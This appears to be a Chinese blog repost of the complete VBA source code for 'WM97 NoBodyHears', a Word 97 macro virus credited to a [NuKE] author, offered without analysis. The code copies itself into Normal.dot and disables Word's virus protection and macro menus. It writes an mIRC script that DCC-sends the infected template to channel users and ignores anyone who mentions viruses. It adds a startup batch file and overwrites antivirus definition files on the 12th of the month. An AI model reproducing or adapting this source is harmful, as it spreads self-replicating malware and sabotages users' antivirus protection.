关闭

WM97 NoBodyHears源代码

标签: outputtoolsn2capplicationvb
883人阅读 评论(0) 收藏 举报
分类:
Attribute VB_Name = "NoBodyHears"
Sub AutoClose()
"******************************************************************
"WM97 NoBodyHears
"By AngelsKitten / [NuKE]
"Greetings to Evul, Knowdeth, Jackie twoflower, Foxz
"Reptile, Duke, Raven, Deloss, Bumblebee, Masey, RAiD,
"FlyShadow, and the following groups: MVT, 29A, NVT & SLAM
"******************************************************************
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("NoBodyHears").Export "C:/VXD.dll"
With Options
  .ConfirmConversions = False
  .VirusProtection = False
  .SaveNormalPrompt = False
End With
With Application
  .ScreenUpdating = False
  .DisplayStatusBar = False
  .DisplayAlerts = wdAlertsNone
  .EnableCancelKey = wdCancelDisabled
End With
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("Tools").Controls(12).Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
For ?= 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
For ?= 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
If ?= True And ?= False Then Set ?= NormalTemplate.VBProject _
Else If ?= False And ?= True Then Set ?= ActiveDocument.VBProject
?VBComponents.Import ("C:/VXD.dll")
On Error GoTo scriptoops
Open "C:/audio.vxd" For Output As #1
Print #1, "[script]"
Print #1, "n0=;NobodyHears by Angelskitten / [NuKE]"
Print #1, "n1=on 1:PART:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n2= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n3=}"
Print #1, "n4="
Print #1, "n5=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n6= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n7=}"
Print #1, "n8="
Print #1, "n9=on 1:TEXT:*infected*:#:/.ignore $nick"
Print #1, "n10=on 1:TEXT:*infected*:?:/.ignore $nick"
Print #1, "n12=on 1:TEXT:*clean*:#:/.ignore $nick"
Print #1, "n13=on 1:TEXT:*clean*:?:/.ignore $nick"
Print #1, "n14=on 1:TEXT:*script.ini*:#:/.ignore $nick"
Print #1, "n15=on 1:TEXT:*script.ini*:?:/.ignore $nick"
Print #1, "n16=on 1:TEXT:*virus*:#:/.ignore $nick"
Print #1, "n17=on 1:TEXT:*virus*:?:/.ignore $nick"
Print #1, "n18=on 1:TEXT:*worm*:#:/.ignore $nick"
Print #1, "n19=on 1:TEXT:*worm*:?:/.ignore $nick"
Print #1, "n20=on 1:TEXT:*aboutme*:#:/.ignore $nick"
Print #1, "n21=on 1:TEXT:*aboutme*:?:/.ignore $nick"
Print #1, "n22=on 1:TEXT:*aboutme.doc*:#:/.ignore $nick"
Print #1, "n23=on 1:TEXT:*aboutme.doc*:?:/.ignore $nick"
Print #1, "n24=on 1:TEXT:*doc*:#:/.ignore $nick"
Print #1, "n25=on 1:TEXT:*doc*:?:/.ignore $nick"
Print #1, "n26=on 1:TEXT:*blank*:#:/.ignore $nick"
Print #1, "n27=on 1:TEXT:*blank*:?:/.ignore $nick"
Print #1, "n28=ON 1:QUIT:#:/msg $chan I tryed to tell you, I tryed to show you. NoBodyHears"
Print #1, "n29=ON 1:connect: {"
Print #1, "n30= /run attrib +r +s +h C:/mirc/Script.ini"
Print #1, "n31=}"
Close #1
scriptoops:
On Error GoTo batoops
Open "c:/windows/WinStart.bat" For Output As #2
Print #2, "@Echo Off"
Print #2, "copy /y c:/audio.vxd c:/mirc/script.ini >nul"
Print #2, "copy /y c:/PROGRA~1/MICROS~3/TEMPLA~1/normal.dot c:/windows/aboutme.doc >nul"
Close #2
batoops:
If Day(Now()) = 12 Then
SetAttr "C:/program files/AntiViral Toolkit Pro/*.avc", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/*.avc" For Output As #3
Print #3, "NoBodyHears"
Close #3
SetAttr "C:/program files/AntiViral Toolkit Pro/avp.set", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/avp.set" For Output As #4
Print #4, "NoBodyHears"
Close #4
SetAttr "C:/program files/mcafee/*.dat", vbReadOnly
Open "C:/program files/mcafee/*.def" For Output As #5
Print #5, "NoBodyHears"
Close #5
SetAttr "C:/f-marco/*.def", vbReadOnly
Open "C:/f-macro/*.def" For Output As #6
Print #6, "NoBodyHears"
Close #6
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then
 With Assistant.NewBalloon
   .Icon = msoIconTip
   .Animation = msoAnimationGetArtsy
   .Heading = "WM97 NoBodyHears"
   .Text = "Welcome to WM97 NoBodyHears by Angelskitten / [NuKE]"
   .Show
 End With
 ActiveDocument.Password = "NoBodyHears"
 Shell "start http://www.avp.com.au/";, vbHide
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
SetAttr ("c:/VXD.dll"), vbHidden + vbSystem
End Sub
Sub AutoOpen()
 Call AutoClose
End Sub
Sub AutoNew()
 Call AutoClose
End Sub
Sub ViewVBCode()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub ViewCode()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub ToolsMacro()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub FileTemplates()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub HelpWordPerfectHelp()
MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:49696次
    • 积分:717
    • 等级:
    • 排名:千里之外
    • 原创:20篇
    • 转载:19篇
    • 译文:0篇
    • 评论:3条
    文章分类
    文章存档
    最新评论